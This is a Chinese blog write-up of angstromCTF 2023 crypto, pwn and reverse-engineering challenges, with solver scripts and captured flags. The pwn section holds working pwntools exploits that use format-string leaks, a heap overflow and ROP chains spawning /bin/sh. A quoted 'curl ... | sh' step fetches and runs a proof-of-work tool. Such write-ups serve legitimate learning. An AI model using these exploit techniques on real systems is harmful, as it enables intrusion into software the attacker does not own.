当前位置: 首页 > news >正文

[angstromctf 2023] 部分

这个比赛打了个开头就放弃了,最近放弃的比较多,国外的网太慢,国内的题太难。

Crypto

ranch

这题直接给出密文这提示

rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}

Caesar dressing is so 44 BC...

然后是加密程序:未知偏移

import stringf = open("flag.txt").read()encrypted = ""shift = int(open("secret_shift.txt").read().strip())for i in f:if i in string.ascii_lowercase:encrypted += chr(((ord(i) - 97 + shift) % 26)+97)else:encrypted += iprint(encrypted)

 bugku上caser可以枚举

actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

impossible

这题啊!!!这个代码没看大明白,这两个函数出来是全是1,然后交集还是1,然后是最下边的判断,感觉是通不通,可前边有个提示:

Supply positive x and y such that x < y and x > y. 

只要满足这个就行,问了网友,python还真有这个问题,python的数字是变长的,当一个是整形一个是对象的时候,比较类型强制变换时就有这个问题。 

#!/usr/local/bin/pythondef fake_psi(a, b):return [i for i in a if i in b]def zero_encoding(x, n):ret = []for i in range(n):if (x & 1) == 0:ret.append(x | 1)x >>= 1return retdef one_encoding(x, n):ret = []for i in range(n):if x & 1:ret.append(x)x >>= 1return retprint("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:print(open("flag.txt").read())

然后按他说的办就OK了,高手,还知道这个

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 11111111111111111111111111111111111111111111111111111111111
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

 Lazy Lagrange

先看原题

N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1def query1(s):if len(s) > 100:return 'I\'m too lazy to read a query that long.'x = s.split()if len(x) > 10:return 'I\'m too lazy to process that many inputs.'if any(not x_i.isdecimal() for x_i in x):return 'I\'m too lazy to decipher strange inputs.'x = (int(x_i) for x_i in x)global p, ap = random.sample(range(N), k=N)a = [ord(FLAG[p[i]]) for i in range(N)]res = ''for x_i in x:res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'return resquery1('0')def query2(s):if len(s) > 100:return 'I\'m too lazy to read a query that long.'x = s.split()if any(not x_i.isdecimal() for x_i in x):return 'I\'m too lazy to decipher strange inputs.'x = [int(x_i) for x_i in x]while len(x) < N:x.append(0)z = 1for i in range(N):z *= not x[i] - a[i]return ' '.join(str(p_i * z) for p_i in p)while True:try:choice = int(input(": "))assert 1 <= choice <= 2match choice:case 1:print(query1(input("\t> ")))case 2:print(query2(input("\t> ")))except Exception as e:print("Bad input, exiting", e)break

题目分两部分,第一部分要求输入一个序列x,然后会把flag打乱后逐位与x^j 相乘然后加到一起返回。

这步由于有长度限制,把返回当成128进制(7位)输入128,然后返7位ASCII码解开就恢复了

第二步要求输入序列与原打乱的flag相同就会返回打乱的序号。第1步恢复以后第二步得到顺序就OK了

from pwn import *p = remote('challs.actf.co', 32100)
context.log_level = 'debug'p.sendlineafter(b': ', b'1')
p.sendlineafter(b'> ', b'128')
a = int(p.recvline())
a = bin(a)[2:].rjust(126,'0')
b = [int(a[i:i+7],2) for i in range(0, 126,7)]
b = bytes(b)[::-1]
p.sendlineafter(b': ', b'2')
p.sendlineafter(b'> ', (' '.join([str(i) for i in b])+' ').encode())
odr = [int(i) for i in p.recvline().decode().strip().split()]
a = [0]*18
for i in range(18):a[odr[i]]=b[i]print(bytes(a))

Royal Society of Arts

这是个RSA的题给了(p-1)(q-2)和(p-2)(q-1)这个简单了,可以自己推也可以直接写式子让程序算

自己算也简单这两个一减就有p+q了,然后直接求就行

from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))

无难度

n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
#(p-2)*(q-1) 
h1 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
#(p-1)*(q-2)
h2 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614#p-q 
h3 = h1-h2 
p,q = var('p q')
solve([p*q == n, p-q ==h3],[p,q])p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087
q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451
d = inverse_mod(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(int(m))
#actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}

Royal Society of Arts 2

国外好像对RSA不大关心,所以经常出简单题,这个给了密文,然后让随便输入然后给出解密,显然这里直接c*2^e就行,提到的明文//2

from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)d = pow(e, -1, (p-1)*(q-1))c = int(input("Text to decrypt: "))if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):print("No flag for you!")exit(1)print("m =", pow(c, d, n))
from pwn import *p = remote('challs.actf.co', 32400)context.log_level = 'debug'n = int(p.recvline()[4:])
e = int(p.recvline()[4:])
c = int(p.recvline()[4:])p.sendlineafter(b'Text to decrypt: ', str(pow(2,e,n)*c%n).encode())
m = int(p.recvline()[4:])
print(bytes.fromhex(hex(m>>1)[2:]))#actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}

后边的就突然变难了,不会了

pwn

queue

题目先把flag读到栈里,然后有格式化字符串漏洞,可以直接打印,只是没有地址用不了找针,按ll打出来再自己组合。

int __cdecl main(int argc, const char **argv, const char **envp)
{__gid_t rgid; // [rsp+4h] [rbp-CCh]FILE *stream; // [rsp+8h] [rbp-C8h]char format[48]; // [rsp+10h] [rbp-C0h] BYREFchar s[136]; // [rsp+40h] [rbp-90h] BYREFunsigned __int64 v9; // [rsp+C8h] [rbp-8h]v9 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);stream = fopen("flag.txt", "r");if ( !stream ){puts("Error: missing flag.txt.");exit(1);}fgets(s, 128, stream);printf("What did you learn in class today? ");fgets(format, 48, stdin);printf("Oh nice, ");printf(format);printf("sounds pretty cool!");return v9 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 31322
What did you learn in class today? %14$p%15$p%16$p%17$p%18$p%19$p
Oh nice, 0x3474737b667463610x75715f74695f6b630x615f74695f6575650x34373964613931360x7d32326234363863(nil)
sounds pretty cool!                                                                                                                                                                                                                          
%14$p%15$p%16$p%17$p%18$p%19$p
a =[0x3474737b66746361,0x75715f74695f6b63,0x615f74695f657565,0x3437396461393136,0x7d32326234363863]
>>> b''.join([p64(i) for i in a])
b'actf{st4ck_it_queue_it_a619ad974c864b22}'
 

gaga

这题给了3个远端,还以为都一样,原来每个只有一部分。

第1个给了地址和后门,直接溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[60]; // [rsp+0h] [rbp-40h] BYREF__gid_t rgid; // [rsp+3Ch] [rbp-4h]setbuf(_bss_start, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("Welcome to gaga!");puts("This challenge is meant to guide you through an introduction to binary exploitation.");printf("\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n",win0);printf("Your input: ");return gets(v4);
}

第2个的后门带了两个参数

void __fastcall win1(int a1, int a2)
{char s[136]; // [rsp+10h] [rbp-90h] BYREFFILE *stream; // [rsp+98h] [rbp-8h]if ( a1 == 4919 || a2 == 16705 ){stream = fopen("flag.txt", "r");if ( !stream ){puts("Error: missing flag.txt.");exit(1);}fgets(s, 128, stream);puts(s);}
}

第3个就直接溢出没有后门了,其实可以直接写第3个的程序,一次跑3个(地址有点区别)

from pwn import *p = remote('challs.actf.co', 31302)
#p = process('./gaga2')
context(arch='amd64',log_level = 'debug')#gdb.attach(p, 'b*0x401248')elf = ELF('./gaga2')
pop_rdi = 0x00000000004012b3 # pop rdi ; ret
pop_rsi = 0x00000000004012b1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi, elf.got['setbuf'], elf.plt['puts'], elf.sym['main']))
#p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(pop_rdi+1,pop_rdi+1, pop_rdi, 4919, pop_rsi, 16705,0, elf.sym['win1']))#p.recvline()
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x8bad0
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['main']))p.interactive()#actf{b4by's_
#actf{b4by's_f1rst_pwn!_
#actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

leek

输入的堆块在密码前,写溢出覆盖即可

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint i; // [rsp+0h] [rbp-50h]int j; // [rsp+4h] [rbp-4Ch]__gid_t rgid; // [rsp+8h] [rbp-48h]char *v9; // [rsp+10h] [rbp-40h]void *s; // [rsp+18h] [rbp-38h]char s2[40]; // [rsp+20h] [rbp-30h] BYREFunsigned __int64 v12; // [rsp+48h] [rbp-8h]v12 = __readfsqword(0x28u);v3 = time(0LL);srand(v3);setbuf(stdout, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("I dare you to leek my secret.");for ( i = 0; i < N; ++i ){v9 = (char *)malloc(0x10uLL);s = malloc(0x20uLL);memset(s, 0, 0x20uLL);getrandom(s, 32LL, 0LL);for ( j = 0; j <= 31; ++j ){if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )*((_BYTE *)s + j) = 1;}printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");input(v9);                                  // 最长1280printf(":skull::skull::skull: bro really said: ");puts(v9);printf("So? What's my secret? ");fgets(s2, 33, stdin);if ( strncmp((const char *)s, s2, 0x20uLL) ){puts("Wrong!");exit(-1);}puts("Okay, I'll give you a reward for guessing it.");printf("Say what you want: ");gets(v9);puts("Hmm... I changed my mind.");free(s);free(v9);puts("Next round!");}puts("Looks like you made it through.");win();return v12 - __readfsqword(0x28u);
}

不地要执行100次,外国网站有点慢,只能把串都根据长度连一起发,不然就超时了,sla很费时。

from pwn import *p = remote('challs.actf.co', 31310)for i in range(0x64):p.sendline(b'A'*(0x40-1))p.sendline(b'A'*(0x20-1))p.sendline(b'A'*0x18 + p64(0x31))print(i)context(arch='amd64',log_level = 'debug')p.recvline()    
p.interactive()

widget

格式化字符串漏洞同时有溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-24h] BYREFchar buf[24]; // [rsp+10h] [rbp-20h] BYREF__gid_t rgid; // [rsp+28h] [rbp-8h]unsigned int i; // [rsp+2Ch] [rbp-4h]setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);if ( called )exit(1);called = 1;printf("Amount: ");v4 = 0;__isoc99_scanf("%d", &v4);getchar();if ( v4 < 0 )                       //没限制多大exit(1);printf("Contents: ");read(0, buf, v4);for ( i = 0; (int)i < v4; ++i ){if ( buf[i] == 110 ){printf("bad %d\n", i);exit(1);}}printf("Your input: ");return printf(buf);
}

用了一个我第一次见的工作量proof   redpwnpow

from pwn import *def proof():p.recvuntil(b'proof of work: curl -sSfL https://pwn.red/pow | sh -s ')work = p.recvline().decode().strip()r = process(['./redpwnpow-linux-amd64', work])p.sendafter(b'solution: ', r.recvline())r.close()#p = process('./widget')
p = remote('challs.actf.co', 31320)context(arch='amd64', log_level='debug')
elf = ELF('./widget')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')proof()
#gdb.attach(p, 'b*0x4014c5')p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'%33$p,%34$p,'.ljust(0x20, b'\x00')+flat(0x404800, 0x4013d9))
p.recvuntil(b"Your input: ")
libc.address = int(p.recvuntil(b',', drop=True),16) - 128 - libc.sym['__libc_start_main'] #0x29d90
stack_addr   = int(p.recvuntil(b',', drop=True),16) - 0x128print('libc:',hex(libc.address), 'stack,rbp:', hex(stack_addr))pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'] ))p.interactive()
#actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}

slack

又一个格式化字符串漏洞,只是可输入非常短,不足以干大活,只能一个字节一个字节的写,由于有次数限制需要先改下

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint v4; // eaxint i; // [rsp+8h] [rbp-68h]__gid_t rgid; // [rsp+Ch] [rbp-64h]time_t timer; // [rsp+10h] [rbp-60h] BYREFstruct tm *tp; // [rsp+18h] [rbp-58h]char s[32]; // [rsp+20h] [rbp-50h] BYREFchar format[40]; // [rsp+40h] [rbp-30h] BYREFunsigned __int64 v13; // [rsp+68h] [rbp-8h]v13 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);rgid = getegid();setresgid(rgid, rgid, rgid);puts("Welcome to slack (not to be confused with the popular chat service Slack)!");timer = time(0LL);tp = localtime(&timer);v3 = time(0LL);srand(v3);for ( i = 0; i <= 2; ++i )                    //需要先改小{strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);v4 = rand();printf("%s -- slack Bot:  %s\n", s, (&messages)[v4 % 8]);printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");fgets(format, 14, stdin);                   // 13字节太小tp = localtime(&timer);strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);printf("%s -- You: ", s);printf(format);putchar(10);}return v13 - __readfsqword(0x28u);
}

先泄露libc,stack,然后利用指向argv的栈地址链指向计数器高字节改为负数,修改后再指向返回地址写payload 

from pwn import *#p = process('./slack')
p = remote('challs.actf.co', 31500)context(arch='amd64', log_level = 'debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')def snd(pay):#p.sendafter(b'Professional): ', pay.encode())p.send(pay.encode())#leak stack,libc
snd('%25$p,%41$p,\n')
p.recvuntil(b"You: ")
i_addr = int(p.recvuntil(b',', drop=True), 16) - 0x180
libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
print(hex(i_addr), hex(libc.address))#28->55->155  28->55->i
snd(f'%{(i_addr&0xffff)+3}c%25$hn\n')
#set i = -...
snd(f'%255c%55$hhn\n')ret_addr = i_addr + 0x70
if i_addr&0xff00 == ret_addr &0xff00:snd(f"%{ret_addr&0xff}c%25$hhn\n")
else:snd(f"%{ret_addr&0xffff}c%25$hn\n")pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh  = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
for i in range(len(payload)):v1 = (ret_addr+i)&0xffif v1==0:snd(f"%25$hhn\n")else:snd(f"%{v1}c%25$hhn\n")v2 = payload[i]if v2==0:snd(f"%55$hhn\n")else:snd(f"%{v2}c%55$hhn\n")#25->55->i_addr+3 set i>0
if i_addr&0xff00 == ret_addr &0xff00:snd(f"%{(i_addr+3)&0xff}c%25$hhn\n")
else:snd(f"%{(i_addr+3)&0xffff}c%25$hn\n")snd(f"%55$hhn\n")p.sendline(b'cat flag.txt')
p.interactive()
#actf{succesfu1_onb0arding_f99454d9a2f42632}

后边两个难的也没作,国外网站太慢,慢着慢着就放弃了。

RE

checker 略

zaza

一个异或运算

int __cdecl main(int argc, const char **argv, const char **envp)
{int v5; // [rsp+8h] [rbp-58h] BYREFunsigned int v6; // [rsp+Ch] [rbp-54h] BYREFchar s[72]; // [rsp+10h] [rbp-50h] BYREFunsigned __int64 v8; // [rsp+58h] [rbp-8h]v8 = __readfsqword(0x28u);setbuf(_bss_start, 0LL);v5 = 0;v6 = 0;printf("I'm going to sleep. Count me some sheep: ");__isoc99_scanf("%d", &v5);if ( v5 != 4919 )                             // 4919{puts("That's not enough sheep!");exit(1);}printf("Nice, now reset it. Bet you can't: ");__isoc99_scanf("%d", &v6);                    //  1011094151if ( v5 * v6 == 1 ){printf("%d %d", v6, v6 + v5);puts("Not good enough for me.");exit(1);}puts("Okay, what's the magic word?");getchar();fgets(s, 64, stdin);s[strcspn(s, "\n")] = 0;xor_(s);if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) ){puts("Nope");exit(1);}win();return v8 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 0
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}

时间有点长,都快忘了。赶紧补上。 

http://www.lryc.cn/news/64320.html

相关文章:

  • 死信队列
  • 基于YOLOv5的目标检测系统详解(附MATLAB GUI版代码)
  • 使用ChatGPT工具阅读文献的实战教程
  • 实训笔记1
  • CCD视觉检测设备如何选择光源
  • 基于协同过滤的旅游推荐系统设计与实现(论文+源码)_kaic
  • 代码随想录补打卡 746 使用最小花费爬楼梯
  • 有理函数的不定积分习题
  • PS滤镜插件-Nik Collection介绍
  • 力扣刷题2023-05-04-1——题目:2614. 对角线上的质数
  • 【Java笔试强训 2】
  • 术数基础背诵口诀整理
  • Linux 基础语法 -2
  • 深度学习框架发展趋势
  • Mysql为json字段创建索引的两种方式
  • cassandra数据库入门-4
  • 微服务学习——分布式搜索
  • ChatGPT根据销售数据、客户反馈、财务报告,自动生成报告,并根据不同利益方的需要和偏好进行调整?
  • Flask开发之环境搭建
  • Java集合框架与ArrayList、LinkedList的区别
  • python-pandas库
  • C++学习day--01 C生万物
  • 链表及链表的常见操作和用js封装一个链表
  • 源码安装工具checkinstall使用
  • 离散数学集合论
  • TypeScript 基础
  • MySQL InnoDB引擎 和 Oracle SGA
  • JAVA开发与运维(web生产环境部署)
  • 普通人,自学编程,5个必备步骤
  • kubernetes安全框架RBAC